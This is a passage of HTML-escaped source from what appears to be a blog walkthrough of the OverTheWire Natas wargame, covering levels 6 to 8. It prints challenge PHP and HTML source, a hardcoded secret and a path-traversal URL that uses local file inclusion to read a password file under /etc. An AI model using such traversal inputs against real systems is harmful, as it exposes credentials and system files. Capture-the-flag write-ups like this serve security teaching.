&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;12&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;form&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt; method&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;post&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;Input&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt; secret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;input&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt; name&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;secret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;br&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;input&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt; type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;submit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt; name&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;submit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;form&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Also note the &lt;code&gt;include&lt;&#x2F;code&gt; statement which references a file at
&lt;code&gt;includes&#x2F;secret.inc&lt;&#x2F;code&gt;. Navigating to that location shows the following PHP file
where the &lt;code&gt;$secret&lt;&#x2F;code&gt; variable is defined.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;?&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;secret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;FOEIUWGHFEEUHOFUOIU&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Entering the secret defined in &lt;code&gt;includes&#x2F;secret.inc&lt;&#x2F;code&gt; into the form will return
the password for level 7.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-7&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-7&quot; aria-label=&quot;Anchor link for: level-7&quot;&gt;Level 7&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;This level actually has multiple pages.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Home page&lt;&#x2F;em&gt;
&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;7_home.png&quot; alt=&quot;level 7 home page&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;About page&lt;&#x2F;em&gt;
&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;7_about.png&quot; alt=&quot;level 7 about page&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The page source contains a useful hint.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;natas7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;content&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; href&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;index.php?page=home&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;Home&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; href&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;index.php?page=about&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;About&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;br&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;br&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&amp;lt;!--&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; hint: password for webuser natas8 is in &#x2F;etc&#x2F;natas_webpass&#x2F;natas8 &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;--&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The most important thing to notice in this source code is that the “Home” and
“About” links are specifying their target pages via query parameters. As
always, when performing a web application test, it’s important to examine any
entry point for user input.&lt;&#x2F;p&gt;
&lt;p&gt;The combination of the mentioned links and the hint provided should lead you to
investigate for any &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;File_inclusion_vulnerability#Local_file_inclusion(LFI)&quot;&gt;local file inclusion
(LFI)&lt;&#x2F;a&gt;
vulnerabilities.&lt;&#x2F;p&gt;
&lt;p&gt;Modify the &lt;code&gt;page&lt;&#x2F;code&gt; query parameter to reference the level 8 password file like so.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;http:&#x2F;&#x2F;natas7.natas.labs.overthewire.org&#x2F;index.php?page=..&#x2F;..&#x2F;..&#x2F;..&#x2F;etc&#x2F;natas_webpass&#x2F;natas8`&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note the several doubled dots &lt;code&gt;..&#x2F;&lt;&#x2F;code&gt; chained together to backtrack the current
directory to the root of the file system before continuing to the password
directory at &lt;code&gt;&#x2F;etc&#x2F;natas_webpass&#x2F;&lt;&#x2F;code&gt; as mentioned by the hint.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-8&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-8&quot; aria-label=&quot;Anchor link for: level-8&quot;&gt;Level 8&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Similar to &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirenatas&#x2F;#level-6&quot;&gt;level 6&lt;&#x2F;a&gt;, the main page of level 8 contains an input text
field and a link to the server-side source code. However, this time the
encoding of the secret is a bit more complicated.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;?&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;encodedSecret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;3d3d516343746d4d6d6c315669563362&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8992A7);&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8BA4B0);&quot;&gt; encodeSecret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;secret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt; bin2hex&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;strrev&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;base64_encode&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;secret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 9&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;array_key_exists&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;submit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;_POST&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8BA4B0);&quot;&gt;encodeSecret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;_POST&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;secret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;encodedSecret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Access granted. The password for natas9 is &amp;lt;censored&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
